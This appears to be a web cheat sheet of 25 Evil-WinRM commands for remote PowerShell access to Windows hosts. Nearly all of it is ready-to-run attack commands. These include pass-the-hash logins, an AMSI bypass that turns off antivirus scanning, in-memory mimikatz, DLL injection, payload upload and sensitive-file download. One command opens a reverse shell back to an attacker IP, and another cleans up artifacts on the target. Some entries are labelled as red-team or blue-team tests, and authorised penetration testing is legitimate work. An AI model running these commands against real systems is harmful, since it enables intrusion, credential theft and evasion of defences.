Skip to content

Evil-WinRM

25 commands

The go-to WinRM shell for penetration testers: upload and download files, load PowerShell scripts and pass the hash.

  • WinRM
  • PowerShell
  • Windows

Install Evil-WinRM

sudo apt install evil-winrm

Basic Remote Connection1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!'

Establishes a basic interactive WinRM PowerShell session using plaintext credentials.

Authentication Handling1

evil-winrm -i 192.168.1.10 -u Administrator -H '32132132132132132132132132132132'

Performs a Pass-the-Hash attack using an NTLM hash instead of a password.

Transport Security1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -S

Enables SSL encryption to connect via WinRM over HTTPS (default port 5986).

Target Specification1

evil-winrm -i 192.168.1.10 -P 5985 -u Administrator -p 'Password123!'

Specifies a custom port for the WinRM connection, overriding defaults.

Advanced Authentication1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -r CONTOSO.COM

Specifies the domain realm for authentication, useful in Kerberos environments.

Key-Based Authentication1

evil-winrm -i 192.168.1.10 -c public_key.pem -k private_key.pem -S

Authenticates using a client certificate key pair over an SSL encrypted connection.

Script & Module Loading1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/scripts

Loads a local directory of PowerShell scripts into the session for easy execution.

Executable Loading1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -e /opt/exes

Loads a local directory of executables (ISVs) for in-memory execution.

Output & Logging1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l

Enables logging to save session output to files for later analysis.

Interactive File Transfer2

upload /local/path/payload.exe C:\Windows\Temp\payload.exe

Uploads a file from the attacker machine to the remote target within the session.

Link
download C:\Windows\Temp\sensitive.docx /local/path/sensitive.docx

Downloads a file from the remote target to the attacker machine within the session.

Link

Defense Evasion1

Bypass-4MSI

Executes the built-in AMSI bypass command to disable antivirus scanning for the session.

Link

Interactive Session Handling1

menu

Displays the loaded scripts and modules available for execution in the current session.

Link

Lateral Movement Simulation1

Invoke-Binary /opt/exes/mimikatz.exe

Executes a loaded binary directly in memory using Invoke-Binary to avoid disk writes.

Link

Service Execution1

evil-winrm -i 192.168.1.10 -u Administrator -H 'NTLM_HASH' -S

Combines Pass-the-Hash with SSL for a secure, authenticated lateral movement channel.

Link

URL-Based Connection1

evil-winrm -i https://example.com:5986/wsman -u Administrator -p 'Password123!'

Connects to a specific WinRM URL endpoint, useful for complex network routings.

Link

Operational Security1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -N

Disables color output, useful for scripting or terminals that do not support ANSI colors.

Link

PowerShell Script Execution1

Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.5 -Port 4444

Executes a loaded PowerShell script (e.g., Nishang) from the menu to trigger a callback.

Link

Enumeration Workflow1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -s /opt/privesc_checks

Starts a session pre-loaded with privilege escalation enumeration scripts for rapid auditing.

Link

Incident Response Test1

evil-winrm -i 192.168.1.10 -u Administrator -p 'Password123!' -l

Simulates an attack while logging all activity to verify blue team log correlation capabilities.

Link

Dll Injection Workflow1

Dll-Loader -path C:\Windows\Temp\malicious.dll

Uses the built-in Donut-based loader to inject a DLL into a process (requires loaded module).

Link

Interactive Service Control1

sc.exe query cmdservice

Standard Windows command execution within the Evil-WinRM shell to query service status.

Link

Blue Team Detection1

evil-winrm -i 192.168.1.10 -u Administrator -H '321...321' -s /opt/atomic_red_team

Loads Atomic Red Team scripts to validate detection logic against specific TTPs.

Link

Remote Host Cleanup1

Remove-Item -Path C:\Windows\Temp\* -Force

PowerShell command run within the session to clean up artifacts after simulation.

Link

Exit & Termination1

exit

Cleanly terminates the WinRM session and closes the connection to the remote host.

Link